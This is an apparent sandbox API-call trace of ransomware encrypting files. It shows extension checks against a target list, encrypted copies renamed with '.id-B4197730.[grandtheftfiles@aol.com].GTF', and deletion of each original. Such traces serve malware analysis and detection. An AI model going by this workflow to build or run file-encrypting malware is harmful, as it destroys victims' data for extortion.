	[0062.280] ReadFile (in: hFile=0x2f0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0062.280] WriteFile (in: hFile=0x2f4, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0062.280] SetEndOfFile (hFile=0x2f4) returned 1
	[0062.281] CloseHandle (hObject=0x2f4) returned 1
	[0062.282] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.282] SetEndOfFile (hFile=0x2f0) returned 1
	[0062.283] CloseHandle (hObject=0x2f0) returned 1
	[0062.283] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0062.283] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1
	[0062.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0062.283] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0062.283] lstrlenW (lpString=".doc") returned 4
	[0062.283] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.283] lstrlenW (lpString=".docx") returned 5
	[0062.284] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.284] lstrlenW (lpString=".pdf") returned 4
	[0062.284] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.284] lstrlenW (lpString=".xls") returned 4
	[0062.284] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.284] lstrlenW (lpString=".xlsx") returned 5
	[0062.284] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.284] lstrlenW (lpString=".ppt") returned 4
	[0062.284] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0062.284] lstrlenW (lpString=".zip") returned 4
	[0062.284] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.284] lstrlenW (lpString=".rar") returned 4
	[0062.284] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.284] lstrlenW (lpString=".bz2") returned 4
	[0062.284] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.284] lstrlenW (lpString=".7z") returned 3
	[0062.284] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0062.284] lstrlenW (lpString=".dbf") returned 4
	[0062.284] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0062.284] lstrlenW (lpString=".1cd") returned 4
	[0062.284] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0062.284] lstrlenW (lpString=".jpg") returned 4
	[0062.284] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0062.284] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0062.284] lstrlenW (lpString=".doc") returned 4
	[0062.284] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.284] lstrlenW (lpString=".docx") returned 5
	[0062.284] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.284] lstrlenW (lpString=".pdf") returned 4
	[0062.284] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.284] lstrlenW (lpString=".xls") returned 4
	[0062.285] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0062.285] lstrlenW (lpString=".xlsx") returned 5
	[0062.285] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0062.285] lstrlenW (lpString=".ppt") returned 4
	[0062.285] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0062.285] lstrlenW (lpString=".zip") returned 4
	[0062.285] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0062.285] lstrlenW (lpString=".rar") returned 4
	[0062.285] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0062.285] lstrlenW (lpString=".bz2") returned 4
	[0062.285] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.285] lstrlenW (lpString=".7z") returned 3
	[0062.285] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0062.285] lstrlenW (lpString=".dbf") returned 4
	[0062.285] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0062.285] lstrlenW (lpString=".1cd") returned 4
	[0062.285] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.285] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35
	[0062.285] lstrlenW (lpString=".jpg") returned 4
	[0062.285] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.285] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0062.285] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0062.285] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0062.638] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=60816) returned 1
	[0062.638] CloseHandle (hObject=0x2d0) returned 1
	[0062.638] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80
	[0062.638] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0062.639] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0062.639] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.639] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0062.639] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0062.639] GetLastError () returned 0x0
	[0062.639] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xed90, lpOverlapped=0x0) returned 1
	[0064.359] WriteFile (in: hFile=0x304, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xeda0, lpOverlapped=0x0) returned 1
	[0064.361] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0064.361] WriteFile (in: hFile=0x304, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0064.361] SetEndOfFile (hFile=0x304) returned 1
	[0064.362] CloseHandle (hObject=0x304) returned 1
	[0064.364] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.364] SetEndOfFile (hFile=0x2d0) returned 1
	[0064.365] CloseHandle (hObject=0x2d0) returned 1
	[0064.365] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0064.366] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1
	[0064.366] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0064.366] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0064.366] lstrlenW (lpString=".doc") returned 4
	[0064.366] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.366] lstrlenW (lpString=".docx") returned 5
	[0064.366] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0064.366] lstrlenW (lpString=".pdf") returned 4
	[0064.366] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.366] lstrlenW (lpString=".xls") returned 4
	[0064.366] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.367] lstrlenW (lpString=".xlsx") returned 5
	[0064.367] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0064.367] lstrlenW (lpString=".ppt") returned 4
	[0064.367] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0064.367] lstrlenW (lpString=".zip") returned 4
	[0064.367] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.367] lstrlenW (lpString=".rar") returned 4
	[0064.367] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.367] lstrlenW (lpString=".bz2") returned 4
	[0064.367] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.367] lstrlenW (lpString=".7z") returned 3
	[0064.367] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0064.367] lstrlenW (lpString=".dbf") returned 4
	[0064.367] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0064.367] lstrlenW (lpString=".1cd") returned 4
	[0064.367] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0064.367] lstrlenW (lpString=".jpg") returned 4
	[0064.367] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0064.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0064.367] lstrlenW (lpString=".doc") returned 4
	[0064.367] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0064.367] lstrlenW (lpString=".docx") returned 5
	[0064.367] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0064.367] lstrlenW (lpString=".pdf") returned 4
	[0064.367] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0064.367] lstrlenW (lpString=".xls") returned 4
	[0064.367] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0064.368] lstrlenW (lpString=".xlsx") returned 5
	[0064.368] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0064.368] lstrlenW (lpString=".ppt") returned 4
	[0064.368] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0064.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0064.368] lstrlenW (lpString=".zip") returned 4
	[0064.368] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0064.368] lstrlenW (lpString=".rar") returned 4
	[0064.368] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0064.368] lstrlenW (lpString=".bz2") returned 4
	[0064.368] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0064.368] lstrlenW (lpString=".7z") returned 3
	[0064.368] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0064.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0064.368] lstrlenW (lpString=".dbf") returned 4
	[0064.368] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0064.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0064.368] lstrlenW (lpString=".1cd") returned 4
	[0064.368] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0064.368] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0064.368] lstrlenW (lpString=".jpg") returned 4
	[0064.368] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0064.368] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0064.368] lstrlenW (lpString="eula.rtf") returned 8
	[0064.369] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0064.369] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3419) returned 1
	[0064.369] CloseHandle (hObject=0x2d0) returned 1
	[0064.369] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80
	[0064.369] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0064.369] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0064.369] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.369] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.369] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0064.414] GetLastError () returned 0x0
	[0064.414] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xd5b, lpOverlapped=0x0) returned 1
	[0065.125] WriteFile (in: hFile=0x2b8, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xd60, lpOverlapped=0x0) returned 1
	[0065.126] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0065.126] WriteFile (in: hFile=0x2b8, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0065.126] SetEndOfFile (hFile=0x2b8) returned 1
	[0065.166] CloseHandle (hObject=0x2b8) returned 1
	[0065.174] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.174] SetEndOfFile (hFile=0x2d0) returned 1
	[0065.186] CloseHandle (hObject=0x2d0) returned 1
	[0065.186] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0065.187] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1
	[0065.187] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0065.187] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0065.187] lstrlenW (lpString=".doc") returned 4
	[0065.187] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0065.187] lstrlenW (lpString=".docx") returned 5
	[0065.187] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0065.187] lstrlenW (lpString=".pdf") returned 4
	[0065.187] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0065.187] lstrlenW (lpString=".xls") returned 4
	[0065.187] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0065.187] lstrlenW (lpString=".xlsx") returned 5
	[0065.187] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0065.187] lstrlenW (lpString=".ppt") returned 4
	[0065.187] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0065.187] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0065.187] lstrlenW (lpString=".zip") returned 4
	[0065.187] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0065.187] lstrlenW (lpString=".rar") returned 4
	[0065.187] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0065.187] lstrlenW (lpString=".bz2") returned 4
	[0065.187] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0065.187] lstrlenW (lpString=".7z") returned 3
	[0065.187] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0065.187] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0065.187] lstrlenW (lpString=".dbf") returned 4
	[0065.187] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0065.187] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0065.187] lstrlenW (lpString=".1cd") returned 4
	[0065.188] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0065.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0065.188] lstrlenW (lpString=".jpg") returned 4
	[0065.188] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0065.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0065.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0065.188] lstrlenW (lpString=".doc") returned 4
	[0065.188] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0065.188] lstrlenW (lpString=".docx") returned 5
	[0065.188] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0065.188] lstrlenW (lpString=".pdf") returned 4
	[0065.188] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0065.188] lstrlenW (lpString=".xls") returned 4
	[0065.188] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0065.188] lstrlenW (lpString=".xlsx") returned 5
	[0065.188] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0065.188] lstrlenW (lpString=".ppt") returned 4
	[0065.188] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0065.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0065.188] lstrlenW (lpString=".zip") returned 4
	[0065.188] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0065.188] lstrlenW (lpString=".rar") returned 4
	[0065.188] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0065.188] lstrlenW (lpString=".bz2") returned 4
	[0065.188] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0065.188] lstrlenW (lpString=".7z") returned 3
	[0065.188] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0065.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0065.188] lstrlenW (lpString=".dbf") returned 4
	[0065.188] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0065.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0065.188] lstrlenW (lpString=".1cd") returned 4
	[0065.188] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0065.188] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0065.188] lstrlenW (lpString=".jpg") returned 4
	[0065.188] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0065.189] lstrcmpiW (lpString1=".rtf", lpString2=".GTF") returned 1
	[0065.189] lstrlenW (lpString="eula.rtf") returned 8
	[0065.189] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0065.189] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3702) returned 1
	[0065.189] CloseHandle (hObject=0x2d0) returned 1
	[0065.189] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80
	[0065.189] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0065.189] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0065.189] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.189] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0065.189] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0065.220] GetLastError () returned 0x0
	[0065.220] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xe76, lpOverlapped=0x0) returned 1
	[0066.174] WriteFile (in: hFile=0x314, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xe80, lpOverlapped=0x0) returned 1
	[0066.175] ReadFile (in: hFile=0x2d0, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.175] WriteFile (in: hFile=0x314, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0066.175] SetEndOfFile (hFile=0x314) returned 1
	[0066.175] CloseHandle (hObject=0x314) returned 1
	[0066.176] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.176] SetEndOfFile (hFile=0x2d0) returned 1
	[0066.177] CloseHandle (hObject=0x2d0) returned 1
	[0066.177] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0066.177] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1
	[0066.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0066.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0066.177] lstrlenW (lpString=".doc") returned 4
	[0066.177] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0066.177] lstrlenW (lpString=".docx") returned 5
	[0066.177] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0066.177] lstrlenW (lpString=".pdf") returned 4
	[0066.177] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0066.177] lstrlenW (lpString=".xls") returned 4
	[0066.178] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0066.178] lstrlenW (lpString=".xlsx") returned 5
	[0066.178] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0066.178] lstrlenW (lpString=".ppt") returned 4
	[0066.178] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
